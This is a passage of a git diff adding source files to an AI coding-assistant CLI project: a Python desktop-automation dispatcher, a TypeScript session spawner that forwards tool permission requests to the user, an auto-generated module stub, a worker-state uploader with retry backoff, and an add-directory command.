+        if command == "app_under_point":
+            json_output({"ok": True, "result": app_under_point(int(payload["x"]), int(payload["y"]))})
+            return 0
+        if command == "list_installed_apps":
+            json_output({"ok": True, "result": installed_apps()})
+            return 0
+        if command == "list_running_apps":
+            json_output({"ok": True, "result": running_apps()})
+            return 0
+        if command == "open_app":
+            open_app(str(payload["bundleId"]))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "read_clipboard":
+            json_output({"ok": True, "result": read_clipboard()})
+            return 0
+        if command == "write_clipboard":
+            write_clipboard(str(payload.get("text") or ""))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "paste_clipboard":
+            paste_clipboard()
+            json_output({"ok": True, "result": True})
+            return 0
+        error_output(f"Unknown command: {command}", code="bad_command")
+        return 2
+    except Exception as exc:
+        error_output(str(exc))
+        return 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/cc-haha/runtime/requirements.txt b/cc-haha/runtime/requirements.txt
new file mode 100644
index 0000000..1f49b65
--- /dev/null
+++ b/cc-haha/runtime/requirements.txt
@@ -0,0 +1,6 @@
+mss>=9.0.2,<10
+Pillow>=11.3.0
+pyautogui>=0.9.54
+pyobjc-core>=11.1
+pyobjc-framework-Cocoa>=11.1
+pyobjc-framework-Quartz>=11.1
diff --git a/cc-haha/src/bridge/sessionRunner.ts b/cc-haha/src/bridge/sessionRunner.ts
new file mode 100644
index 0000000..bc232bc
--- /dev/null
+++ b/cc-haha/src/bridge/sessionRunner.ts
@@ -0,0 +1,550 @@
+import { type ChildProcess, spawn } from 'child_process'
+import { createWriteStream, type WriteStream } from 'fs'
+import { tmpdir } from 'os'
+import { dirname, join } from 'path'
+import { createInterface } from 'readline'
+import { jsonParse, jsonStringify } from '../utils/slowOperations.js'
+import { debugTruncate } from './debugUtils.js'
+import type {
+  SessionActivity,
+  SessionDoneStatus,
+  SessionHandle,
+  SessionSpawner,
+  SessionSpawnOpts,
+} from './types.js'
+
+const MAX_ACTIVITIES = 10
+const MAX_STDERR_LINES = 10
+
+/**
+ * Sanitize a session ID for use in file names.
+ * Strips any characters that could cause path traversal (e.g. `../`, `/`)
+ * or other filesystem issues, replacing them with underscores.
+ */
+export function safeFilenameId(id: string): string {
+  return id.replace(/[^a-zA-Z0-9_-]/g, '_')
+}
+
+/**
+ * A control_request emitted by the child CLI when it needs permission to
+ * execute a **specific** tool invocation (not a general capability check).
+ * The bridge forwards this to the server so the user can approve/deny.
+ */
+export type PermissionRequest = {
+  type: 'control_request'
+  request_id: string
+  request: {
+    /** Per-invocation permission check — "may I run this tool with these inputs?" */
+    subtype: 'can_use_tool'
+    tool_name: string
+    input: Record<string, unknown>
+    tool_use_id: string
+  }
+}
+
+type SessionSpawnerDeps = {
+  execPath: string
+  /**
+   * Arguments that must precede the CLI flags when spawning. Empty for
+   * compiled binaries (where execPath is the claude binary itself); contains
+   * the script path (process.argv[1]) for npm installs where execPath is the
+   * node runtime. Without this, node sees --sdk-url as a node option and
+   * exits with "bad option: --sdk-url" (see anthropics/claude-code#28334).
+   */
+  scriptArgs: string[]
+  env: NodeJS.ProcessEnv
+  verbose: boolean
+  sandbox: boolean
+  debugFile?: string
+  permissionMode?: string
+  onDebug: (msg: string) => void
+  onActivity?: (sessionId: string, activity: SessionActivity) => void
+  onPermissionRequest?: (
+    sessionId: string,
+    request: PermissionRequest,
+    accessToken: string,
+  ) => void
+}
+
+/** Map tool names to human-readable verbs for the status display. */
+const TOOL_VERBS: Record<string, string> = {
+  Read: 'Reading',
+  Write: 'Writing',
+  Edit: 'Editing',
+  MultiEdit: 'Editing',
+  Bash: 'Running',
+  Glob: 'Searching',
+  Grep: 'Searching',
+  WebFetch: 'Fetching',
+  WebSearch: 'Searching',
+  Task: 'Running task',
+  FileReadTool: 'Reading',
+  FileWriteTool: 'Writing',
+  FileEditTool: 'Editing',
+  GlobTool: 'Searching',
+  GrepTool: 'Searching',
+  BashTool: 'Running',
+  NotebookEditTool: 'Editing notebook',
+  LSP: 'LSP',
+}
+
+function toolSummary(name: string, input: Record<string, unknown>): string {
+  const verb = TOOL_VERBS[name] ?? name
+  const target =
+    (input.file_path as string) ??
+    (input.filePath as string) ??
+    (input.pattern as string) ??
+    (input.command as string | undefined)?.slice(0, 60) ??
+    (input.url as string) ??
+    (input.query as string) ??
+    ''
+  if (target) {
+    return `${verb} ${target}`
+  }
+  return verb
+}
+
+function extractActivities(
+  line: string,
+  sessionId: string,
+  onDebug: (msg: string) => void,
+): SessionActivity[] {
+  let parsed: unknown
+  try {
+    parsed = jsonParse(line)
+  } catch {
+    return []
+  }
+
+  if (!parsed || typeof parsed !== 'object') {
+    return []
+  }
+
+  const msg = parsed as Record<string, unknown>
+  const activities: SessionActivity[] = []
+  const now = Date.now()
+
+  switch (msg.type) {
+    case 'assistant': {
+      const message = msg.message as Record<string, unknown> | undefined
+      if (!message) break
+      const content = message.content
+      if (!Array.isArray(content)) break
+
+      for (const block of content) {
+        if (!block || typeof block !== 'object') continue
+        const b = block as Record<string, unknown>
+
+        if (b.type === 'tool_use') {
+          const name = (b.name as string) ?? 'Tool'
+          const input = (b.input as Record<string, unknown>) ?? {}
+          const summary = toolSummary(name, input)
+          activities.push({
+            type: 'tool_start',
+            summary,
+            timestamp: now,
+          })
+          onDebug(
+            `[bridge:activity] sessionId=${sessionId} tool_use name=${name} ${inputPreview(input)}`,
+          )
+        } else if (b.type === 'text') {
+          const text = (b.text as string) ?? ''
+          if (text.length > 0) {
+            activities.push({
+              type: 'text',
+              summary: text.slice(0, 80),
+              timestamp: now,
+            })
+            onDebug(
+              `[bridge:activity] sessionId=${sessionId} text "${text.slice(0, 100)}"`,
+            )
+          }
+        }
+      }
+      break
+    }
+    case 'result': {
+      const subtype = msg.subtype as string | undefined
+      if (subtype === 'success') {
+        activities.push({
+          type: 'result',
+          summary: 'Session completed',
+          timestamp: now,
+        })
+        onDebug(
+          `[bridge:activity] sessionId=${sessionId} result subtype=success`,
+        )
+      } else if (subtype) {
+        const errors = msg.errors as string[] | undefined
+        const errorSummary = errors?.[0] ?? `Error: ${subtype}`
+        activities.push({
+          type: 'error',
+          summary: errorSummary,
+          timestamp: now,
+        })
+        onDebug(
+          `[bridge:activity] sessionId=${sessionId} result subtype=${subtype} error="${errorSummary}"`,
+        )
+      } else {
+        onDebug(
+          `[bridge:activity] sessionId=${sessionId} result subtype=undefined`,
+        )
+      }
+      break
+    }
+    default:
+      break
+  }
+
+  return activities
+}
+
+/**
+ * Extract plain text from a replayed SDKUserMessage NDJSON line. Returns the
+ * trimmed text if this looks like a real human-authored message, otherwise
+ * undefined so the caller keeps waiting for the first real message.
+ */
+function extractUserMessageText(
+  msg: Record<string, unknown>,
+): string | undefined {
+  // Skip tool-result user messages (wrapped subagent results) and synthetic
+  // caveat messages — neither is human-authored.
+  if (msg.parent_tool_use_id != null || msg.isSynthetic || msg.isReplay)
+    return undefined
+
+  const message = msg.message as Record<string, unknown> | undefined
+  const content = message?.content
+  let text: string | undefined
+  if (typeof content === 'string') {
+    text = content
+  } else if (Array.isArray(content)) {
+    for (const block of content) {
+      if (
+        block &&
+        typeof block === 'object' &&
+        (block as Record<string, unknown>).type === 'text'
+      ) {
+        text = (block as Record<string, unknown>).text as string | undefined
+        break
+      }
+    }
+  }
+  text = text?.trim()
+  return text ? text : undefined
+}
+
+/** Build a short preview of tool input for debug logging. */
+function inputPreview(input: Record<string, unknown>): string {
+  const parts: string[] = []
+  for (const [key, val] of Object.entries(input)) {
+    if (typeof val === 'string') {
+      parts.push(`${key}="${val.slice(0, 100)}"`)
+    }
+    if (parts.length >= 3) break
+  }
+  return parts.join(' ')
+}
+
+export function createSessionSpawner(deps: SessionSpawnerDeps): SessionSpawner {
+  return {
+    spawn(opts: SessionSpawnOpts, dir: string): SessionHandle {
+      // Debug file resolution:
+      // 1. If deps.debugFile is provided, use it with session ID suffix for uniqueness
+      // 2. If verbose or ant build, auto-generate a temp file path
+      // 3. Otherwise, no debug file
+      const safeId = safeFilenameId(opts.sessionId)
+      let debugFile: string | undefined
+      if (deps.debugFile) {
+        const ext = deps.debugFile.lastIndexOf('.')
+        if (ext > 0) {
+          debugFile = `${deps.debugFile.slice(0, ext)}-${safeId}${deps.debugFile.slice(ext)}`
+        } else {
+          debugFile = `${deps.debugFile}-${safeId}`
+        }
+      } else if (deps.verbose || process.env.USER_TYPE === 'ant') {
+        debugFile = join(tmpdir(), 'claude', `bridge-session-${safeId}.log`)
+      }
+
+      // Transcript file: write raw NDJSON lines for post-hoc analysis.
+      // Placed alongside the debug file when one is configured.
+      let transcriptStream: WriteStream | null = null
+      let transcriptPath: string | undefined
+      if (deps.debugFile) {
+        transcriptPath = join(
+          dirname(deps.debugFile),
+          `bridge-transcript-${safeId}.jsonl`,
+        )
+        transcriptStream = createWriteStream(transcriptPath, { flags: 'a' })
+        transcriptStream.on('error', err => {
+          deps.onDebug(
+            `[bridge:session] Transcript write error: ${err.message}`,
+          )
+          transcriptStream = null
+        })
+        deps.onDebug(`[bridge:session] Transcript log: ${transcriptPath}`)
+      }
+
+      const args = [
+        ...deps.scriptArgs,
+        '--print',
+        '--sdk-url',
+        opts.sdkUrl,
+        '--session-id',
+        opts.sessionId,
+        '--input-format',
+        'stream-json',
+        '--output-format',
+        'stream-json',
+        '--replay-user-messages',
+        ...(deps.verbose ? ['--verbose'] : []),
+        ...(debugFile ? ['--debug-file', debugFile] : []),
+        ...(deps.permissionMode
+          ? ['--permission-mode', deps.permissionMode]
+          : []),
+      ]
+
+      const env: NodeJS.ProcessEnv = {
+        ...deps.env,
+        // Strip the bridge's OAuth token so the child CC process uses
+        // the session access token for inference instead.
+        CLAUDE_CODE_OAUTH_TOKEN: undefined,
+        CLAUDE_CODE_ENVIRONMENT_KIND: 'bridge',
+        ...(deps.sandbox && { CLAUDE_CODE_FORCE_SANDBOX: '1' }),
+        CLAUDE_CODE_SESSION_ACCESS_TOKEN: opts.accessToken,
+        // v1: HybridTransport (WS reads + POST writes) to Session-Ingress.
+        // Harmless in v2 mode — transportUtils checks CLAUDE_CODE_USE_CCR_V2 first.
+        CLAUDE_CODE_POST_FOR_SESSION_INGRESS_V2: '1',
+        // v2: SSETransport + CCRClient to CCR's /v1/code/sessions/* endpoints.
+        // Same env vars environment-manager sets in the container path.
+        ...(opts.useCcrV2 && {
+          CLAUDE_CODE_USE_CCR_V2: '1',
+          CLAUDE_CODE_WORKER_EPOCH: String(opts.workerEpoch),
+        }),
+      }
+
+      deps.onDebug(
+        `[bridge:session] Spawning sessionId=${opts.sessionId} sdkUrl=${opts.sdkUrl} accessToken=${opts.accessToken ? 'present' : 'MISSING'}`,
+      )
+      deps.onDebug(`[bridge:session] Child args: ${args.join(' ')}`)
+      if (debugFile) {
+        deps.onDebug(`[bridge:session] Debug log: ${debugFile}`)
+      }
+
+      // Pipe all three streams: stdin for control, stdout for NDJSON parsing,
+      // stderr for error capture and diagnostics.
+      const child: ChildProcess = spawn(deps.execPath, args, {
+        cwd: dir,
+        stdio: ['pipe', 'pipe', 'pipe'],
+        env,
+        windowsHide: true,
+      })
+
+      deps.onDebug(
+        `[bridge:session] sessionId=${opts.sessionId} pid=${child.pid}`,
+      )
+
+      const activities: SessionActivity[] = []
+      let currentActivity: SessionActivity | null = null
+      const lastStderr: string[] = []
+      let sigkillSent = false
+      let firstUserMessageSeen = false
+
+      // Buffer stderr for error diagnostics
+      if (child.stderr) {
+        const stderrRl = createInterface({ input: child.stderr })
+        stderrRl.on('line', line => {
+          // Forward stderr to bridge's stderr in verbose mode
+          if (deps.verbose) {
+            process.stderr.write(line + '\n')
+          }
+          // Ring buffer of last N lines
+          if (lastStderr.length >= MAX_STDERR_LINES) {
+            lastStderr.shift()
+          }
+          lastStderr.push(line)
+        })
+      }
+
+      // Parse NDJSON from child stdout
+      if (child.stdout) {
+        const rl = createInterface({ input: child.stdout })
+        rl.on('line', line => {
+          // Write raw NDJSON to transcript file
+          if (transcriptStream) {
+            transcriptStream.write(line + '\n')
+          }
+
+          // Log all messages flowing from the child CLI to the bridge
+          deps.onDebug(
+            `[bridge:ws] sessionId=${opts.sessionId} <<< ${debugTruncate(line)}`,
+          )
+
+          // In verbose mode, forward raw output to stderr
+          if (deps.verbose) {
+            process.stderr.write(line + '\n')
+          }
+
+          const extracted = extractActivities(
+            line,
+            opts.sessionId,
+            deps.onDebug,
+          )
+          for (const activity of extracted) {
+            // Maintain ring buffer
+            if (activities.length >= MAX_ACTIVITIES) {
+              activities.shift()
+            }
+            activities.push(activity)
+            currentActivity = activity
+
+            deps.onActivity?.(opts.sessionId, activity)
+          }
+
+          // Detect control_request and replayed user messages.
+          // extractActivities parses the same line but swallows parse errors
+          // and skips 'user' type — re-parse here is cheap (NDJSON lines are
+          // small) and keeps each path self-contained.
+          {
+            let parsed: unknown
+            try {
+              parsed = jsonParse(line)
+            } catch {
+              // Non-JSON line, skip detection
+            }
+            if (parsed && typeof parsed === 'object') {
+              const msg = parsed as Record<string, unknown>
+
+              if (msg.type === 'control_request') {
+                const request = msg.request as
+                  | Record<string, unknown>
+                  | undefined
+                if (
+                  request?.subtype === 'can_use_tool' &&
+                  deps.onPermissionRequest
+                ) {
+                  deps.onPermissionRequest(
+                    opts.sessionId,
+                    parsed as PermissionRequest,
+                    opts.accessToken,
+                  )
+                }
+                // interrupt is turn-level; the child handles it internally (print.ts)
+              } else if (
+                msg.type === 'user' &&
+                !firstUserMessageSeen &&
+                opts.onFirstUserMessage
+              ) {
+                const text = extractUserMessageText(msg)
+                if (text) {
+                  firstUserMessageSeen = true
+                  opts.onFirstUserMessage(text)
+                }
+              }
+            }
+          }
+        })
+      }
+
+      const done = new Promise<SessionDoneStatus>(resolve => {
+        child.on('close', (code, signal) => {
+          // Close transcript stream on exit
+          if (transcriptStream) {
+            transcriptStream.end()
+            transcriptStream = null
+          }
+
+          if (signal === 'SIGTERM' || signal === 'SIGINT') {
+            deps.onDebug(
+              `[bridge:session] sessionId=${opts.sessionId} interrupted signal=${signal} pid=${child.pid}`,
+            )
+            resolve('interrupted')
+          } else if (code === 0) {
+            deps.onDebug(
+              `[bridge:session] sessionId=${opts.sessionId} completed exit_code=0 pid=${child.pid}`,
+            )
+            resolve('completed')
+          } else {
+            deps.onDebug(
+              `[bridge:session] sessionId=${opts.sessionId} failed exit_code=${code} pid=${child.pid}`,
+            )
+            resolve('failed')
+          }
+        })
+
+        child.on('error', err => {
+          deps.onDebug(
+            `[bridge:session] sessionId=${opts.sessionId} spawn error: ${err.message}`,
+          )
+          resolve('failed')
+        })
+      })
+
+      const handle: SessionHandle = {
+        sessionId: opts.sessionId,
+        done,
+        activities,
+        accessToken: opts.accessToken,
+        lastStderr,
+        get currentActivity(): SessionActivity | null {
+          return currentActivity
+        },
+        kill(): void {
+          if (!child.killed) {
+            deps.onDebug(
+              `[bridge:session] Sending SIGTERM to sessionId=${opts.sessionId} pid=${child.pid}`,
+            )
+            // On Windows, child.kill('SIGTERM') throws; use default signal.
+            if (process.platform === 'win32') {
+              child.kill()
+            } else {
+              child.kill('SIGTERM')
+            }
+          }
+        },
+        forceKill(): void {
+          // Use separate flag because child.killed is set when kill() is called,
+          // not when the process exits. We need to send SIGKILL even after SIGTERM.
+          if (!sigkillSent && child.pid) {
+            sigkillSent = true
+            deps.onDebug(
+              `[bridge:session] Sending SIGKILL to sessionId=${opts.sessionId} pid=${child.pid}`,
+            )
+            if (process.platform === 'win32') {
+              child.kill()
+            } else {
+              child.kill('SIGKILL')
+            }
+          }
+        },
+        writeStdin(data: string): void {
+          if (child.stdin && !child.stdin.destroyed) {
+            deps.onDebug(
+              `[bridge:ws] sessionId=${opts.sessionId} >>> ${debugTruncate(data)}`,
+            )
+            child.stdin.write(data)
+          }
+        },
+        updateAccessToken(token: string): void {
+          handle.accessToken = token
+          // Send the fresh token to the child process via stdin. The child's
+          // StructuredIO handles update_environment_variables messages by
+          // setting process.env directly, so getSessionIngressAuthToken()
+          // picks up the new token on the next refreshHeaders call.
+          handle.writeStdin(
+            jsonStringify({
+              type: 'update_environment_variables',
+              variables: { CLAUDE_CODE_SESSION_ACCESS_TOKEN: token },
+            }) + '\n',
+          )
+          deps.onDebug(
+            `[bridge:session] Sent token refresh via stdin for sessionId=${opts.sessionId}`,
+          )
+        },
+      }
+
+      return handle
+    },
+  }
+}
+
+export { extractActivities as _extractActivitiesForTesting }
diff --git a/cc-haha/src/cli/bg.ts b/cc-haha/src/cli/bg.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/cli/bg.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/cli/transports/WorkerStateUploader.ts b/cc-haha/src/cli/transports/WorkerStateUploader.ts
new file mode 100644
index 0000000..37427b4
--- /dev/null
+++ b/cc-haha/src/cli/transports/WorkerStateUploader.ts
@@ -0,0 +1,131 @@
+import { sleep } from '../../utils/sleep.js'
+
+/**
+ * Coalescing uploader for PUT /worker (session state + metadata).
+ *
+ * - 1 in-flight PUT + 1 pending patch
+ * - New calls coalesce into pending (never grows beyond 1 slot)
+ * - On success: send pending if exists
+ * - On failure: exponential backoff (clamped), retries indefinitely
+ *   until success or close(). Absorbs any pending patches before each retry.
+ * - No backpressure needed — naturally bounded at 2 slots
+ *
+ * Coalescing rules:
+ * - Top-level keys (worker_status, external_metadata) — last value wins
+ * - Inside external_metadata / internal_metadata — RFC 7396 merge:
+ *   keys are added/overwritten, null values preserved (server deletes)
+ */
+
+type WorkerStateUploaderConfig = {
+  send: (body: Record<string, unknown>) => Promise<boolean>
+  /** Base delay for exponential backoff (ms) */
+  baseDelayMs: number
+  /** Max delay cap (ms) */
+  maxDelayMs: number
+  /** Random jitter range added to retry delay (ms) */
+  jitterMs: number
+}
+
+export class WorkerStateUploader {
+  private inflight: Promise<void> | null = null
+  private pending: Record<string, unknown> | null = null
+  private closed = false
+  private readonly config: WorkerStateUploaderConfig
+
+  constructor(config: WorkerStateUploaderConfig) {
+    this.config = config
+  }
+
+  /**
+   * Enqueue a patch to PUT /worker. Coalesces with any existing pending
+   * patch. Fire-and-forget — callers don't need to await.
+   */
+  enqueue(patch: Record<string, unknown>): void {
+    if (this.closed) return
+    this.pending = this.pending ? coalescePatches(this.pending, patch) : patch
+    void this.drain()
+  }
+
+  close(): void {
+    this.closed = true
+    this.pending = null
+  }
+
+  private async drain(): Promise<void> {
+    if (this.inflight || this.closed) return
+    if (!this.pending) return
+
+    const payload = this.pending
+    this.pending = null
+
+    this.inflight = this.sendWithRetry(payload).then(() => {
+      this.inflight = null
+      if (this.pending && !this.closed) {
+        void this.drain()
+      }
+    })
+  }
+
+  /** Retries indefinitely with exponential backoff until success or close(). */
+  private async sendWithRetry(payload: Record<string, unknown>): Promise<void> {
+    let current = payload
+    let failures = 0
+    while (!this.closed) {
+      const ok = await this.config.send(current)
+      if (ok) return
+
+      failures++
+      await sleep(this.retryDelay(failures))
+
+      // Absorb any patches that arrived during the retry
+      if (this.pending && !this.closed) {
+        current = coalescePatches(current, this.pending)
+        this.pending = null
+      }
+    }
+  }
+
+  private retryDelay(failures: number): number {
+    const exponential = Math.min(
+      this.config.baseDelayMs * 2 ** (failures - 1),
+      this.config.maxDelayMs,
+    )
+    const jitter = Math.random() * this.config.jitterMs
+    return exponential + jitter
+  }
+}
+
+/**
+ * Coalesce two patches for PUT /worker.
+ *
+ * Top-level keys: overlay replaces base (last value wins).
+ * Metadata keys (external_metadata, internal_metadata): RFC 7396 merge
+ * one level deep — overlay keys are added/overwritten, null values
+ * preserved for server-side delete.
+ */
+function coalescePatches(
+  base: Record<string, unknown>,
+  overlay: Record<string, unknown>,
+): Record<string, unknown> {
+  const merged = { ...base }
+
+  for (const [key, value] of Object.entries(overlay)) {
+    if (
+      (key === 'external_metadata' || key === 'internal_metadata') &&
+      merged[key] &&
+      typeof merged[key] === 'object' &&
+      typeof value === 'object' &&
+      value !== null
+    ) {
+      // RFC 7396 merge — overlay keys win, nulls preserved for server
+      merged[key] = {
+        ...(merged[key] as Record<string, unknown>),
+        ...(value as Record<string, unknown>),
+      }
+    } else {
+      merged[key] = value
+    }
+  }
+
+  return merged
+}
diff --git a/cc-haha/src/commands/add-dir/add-dir.tsx b/cc-haha/src/commands/add-dir/add-dir.tsx
new file mode 100644
index 0000000..b1a2b4d
--- /dev/null
+++ b/cc-haha/src/commands/add-dir/add-dir.tsx
@@ -0,0 +1,126 @@
+import { c as _c } from "react/compiler-runtime";
+import chalk from 'chalk';
+import figures from 'figures';
+import React, { useEffect } from 'react';
+import { getAdditionalDirectoriesForClaudeMd, setAdditionalDirectoriesForClaudeMd } from '../../bootstrap/state.js';
+import type { LocalJSXCommandContext } from '../../commands.js';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { AddWorkspaceDirectory } from '../../components/permissions/rules/AddWorkspaceDirectory.js';
+import { Box, Text } from '../../ink.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+import { applyPermissionUpdate, persistPermissionUpdate } from '../../utils/permissions/PermissionUpdate.js';
+import type { PermissionUpdateDestination } from '../../utils/permissions/PermissionUpdateSchema.js';
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js';
+import { addDirHelpMessage, validateDirectoryForWorkspace } from './validation.js';
+function AddDirError(t0) {
+  const $ = _c(10);
+  const {
+    message,
+    args,
+    onDone
+  } = t0;
+  let t1;
+  let t2;
+  if ($[0] !== onDone) {
+    t1 = () => {
+      const timer = setTimeout(onDone, 0);
+      return () => clearTimeout(timer);
+    };
+    t2 = [onDone];
+    $[0] = onDone;
+    $[1] = t1;
+    $[2] = t2;
+  } else {
+    t1 = $[1];
+    t2 = $[2];
+  }
+  useEffect(t1, t2);
+  let t3;
+  if ($[3] !== args) {
+    t3 = <Text dimColor={true}>{figures.pointer} /add-dir {args}</Text>;
+    $[3] = args;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  let t4;
+  if ($[5] !== message) {
+    t4 = <MessageResponse><Text>{message}</Text></MessageResponse>;
+    $[5] = message;
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  let t5;
+  if ($[7] !== t3 || $[8] !== t4) {
+    t5 = <Box flexDirection="column">{t3}{t4}</Box>;
+    $[7] = t3;
+    $[8] = t4;
+    $[9] = t5;
+  } else {
+    t5 = $[9];
+  }
+  return t5;
+}
+export async function call(onDone: LocalJSXCommandOnDone, context: LocalJSXCommandContext, args?: string): Promise<React.ReactNode> {
+  const directoryPath = (args ?? '').trim();
+  const appState = context.getAppState();
+
+  // Helper to handle adding a directory (shared by both with-path and no-path cases)
+  const handleAddDirectory = async (path: string, remember = false) => {
+    const destination: PermissionUpdateDestination = remember ? 'localSettings' : 'session';
+    const permissionUpdate = {
+      type: 'addDirectories' as const,
+      directories: [path],
+      destination
+    };
+
+    // Apply to session context
+    const latestAppState = context.getAppState();
+    const updatedContext = applyPermissionUpdate(latestAppState.toolPermissionContext, permissionUpdate);
+    context.setAppState(prev => ({
+      ...prev,
+      toolPermissionContext: updatedContext
+    }));
+
+    // Update sandbox config so Bash commands can access the new directory.
+    // Bootstrap state is the source of truth for session-only dirs; persisted
+    // dirs are picked up via the settings subscription, but we refresh
+    // eagerly here to avoid a race when the user acts immediately.
+    const currentDirs = getAdditionalDirectoriesForClaudeMd();
+    if (!currentDirs.includes(path)) {
+      setAdditionalDirectoriesForClaudeMd([...currentDirs, path]);
+    }
+    SandboxManager.refreshConfig();
+    let message: string;
+    if (remember) {
+      try {
+        persistPermissionUpdate(permissionUpdate);
+        message = `Added ${chalk.bold(path)} as a working directory and saved to local settings`;
+      } catch (error) {
+        message = `Added ${chalk.bold(path)} as a working directory. Failed to save to local settings: ${error instanceof Error ? error.message : 'Unknown error'}`;
+      }
+    } else {
+      message = `Added ${chalk.bold(path)} as a working directory for this session`;
+    }
+    const messageWithHint = `${message} ${chalk.dim('· /permissions to manage')}`;
+    onDone(messageWithHint);
+  };
+
+  // When no path is provided, show AddWorkspaceDirectory input form directly
+  // and return to REPL after confirmation
+  if (!directoryPath) {
+    return <AddWorkspaceDirectory permissionContext={appState.toolPermissionContext} onAddDirectory={handleAddDirectory} onCancel={() => {
+      onDone('Did not add a working directory.');
+    }} />;
+  }
+  const result = await validateDirectoryForWorkspace(directoryPath, appState.toolPermissionContext);
+  if (result.resultType !== 'success') {
+    const message = addDirHelpMessage(result);
+    return <AddDirError message={message} args={args ?? ''} onDone={() => onDone(message)} />;
+  }
+  return <AddWorkspaceDirectory directoryPath={result.absolutePath} permissionContext={appState.toolPermissionContext} onAddDirectory={handleAddDirectory} onCancel={() => {
+    onDone(`Did not add ${chalk.bold(result.absolutePath)} as a working directory.`);
+  }} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJjaGFsayIsImZpZ3VyZXMiLCJSZWFjdCIsInVzZUVmZmVjdCIsImdldEFkZGl0aW9uYWxEaXJlY3Rvcmllc0ZvckNsYXVkZU1kIiwic2V0QWRkaXRpb25hbERpcmVjdG9yaWVzRm9yQ2xhdWRlTWQiLCJMb2NhbEpTWENvbW1hbmRDb250ZXh0IiwiTWVzc2FnZVJlc3BvbnNlIiwiQWRkV29ya3NwYWNlRGlyZWN0b3J5IiwiQm94IiwiVGV4dCIsIkxvY2FsSlNYQ29tbWFuZE9uRG9uZSIsImFwcGx5UGVybWlzc2lvblVwZGF0ZSIsInBlcnNpc3RQZXJtaXNzaW9uVXBkYXRlIiwiUGVybWlzc2lvblVwZGF0ZURlc3RpbmF0aW9uIiwiU2FuZGJveE1hbmFnZXIiLCJhZGREaXJIZWxwTWVzc2FnZSIsInZhbGlkYXRlRGlyZWN0b3J5Rm9yV29ya3NwYWNlIiwiQWRkRGlyRXJyb3IiLCJ0MCIsIiQiLCJfYyIsIm1lc3NhZ2UiLCJhcmdzIiwib25Eb25lIiwidDEiLCJ0MiIsInRpbWVyIiwic2V0VGltZW91dCIsImNsZWFyVGltZW91dCIsInQzIiwicG9pbnRlciIsInQ0IiwidDUiLCJjYWxsIiwiY29udGV4dCIsIlByb21pc2UiLCJSZWFjdE5vZGUiLCJkaXJlY3RvcnlQYXRoIiwidHJpbSIsImFwcFN0YXRlIiwiZ2V0QXBwU3RhdGUiLCJoYW5kbGVBZGREaXJlY3RvcnkiLCJwYXRoIiwicmVtZW1iZXIiLCJkZXN0aW5hdGlvbiIsInBlcm1pc3Npb25VcGRhdGUiLCJ0eXBlIiwiY29uc3QiLCJkaXJlY3RvcmllcyIsImxhdGVzdEFwcFN0YXRlIiwidXBkYXRlZENvbnRleHQiLCJ0b29sUGVybWlzc2lvbkNvbnRleHQiLCJzZXRBcHBTdGF0ZSIsInByZXYiLCJjdXJyZW50RGlycyIsImluY2x1ZGVzIiwicmVmcmVzaENvbmZpZyIsImJvbGQiLCJlcnJvciIsIkVycm9yIiwibWVzc2FnZVdpdGhIaW50IiwiZGltIiwicmVzdWx0IiwicmVzdWx0VHlwZSIsImFic29sdXRlUGF0aCJdLCJzb3VyY2VzIjpbImFkZC1kaXIudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBjaGFsayBmcm9tICdjaGFsaydcbmltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgUmVhY3QsIHsgdXNlRWZmZWN0IH0gZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICBnZXRBZGRpdGlvbmFsRGlyZWN0b3JpZXNGb3JDbGF1ZGVNZCxcbiAgc2V0QWRkaXRpb25hbERpcmVjdG9yaWVzRm9yQ2xhdWRlTWQsXG59IGZyb20gJy4uLy4uL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB0eXBlIHsgTG9jYWxKU1hDb21tYW5kQ29udGV4dCB9IGZyb20gJy4uLy4uL2NvbW1hbmRzLmpzJ1xuaW1wb3J0IHsgTWVzc2FnZVJlc3BvbnNlIH0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9NZXNzYWdlUmVzcG9uc2UuanMnXG5pbXBvcnQgeyBBZGRXb3Jrc3BhY2VEaXJlY3RvcnkgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL3Blcm1pc3Npb25zL3J1bGVzL0FkZFdvcmtzcGFjZURpcmVjdG9yeS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgTG9jYWxKU1hDb21tYW5kT25Eb25lIH0gZnJvbSAnLi4vLi4vdHlwZXMvY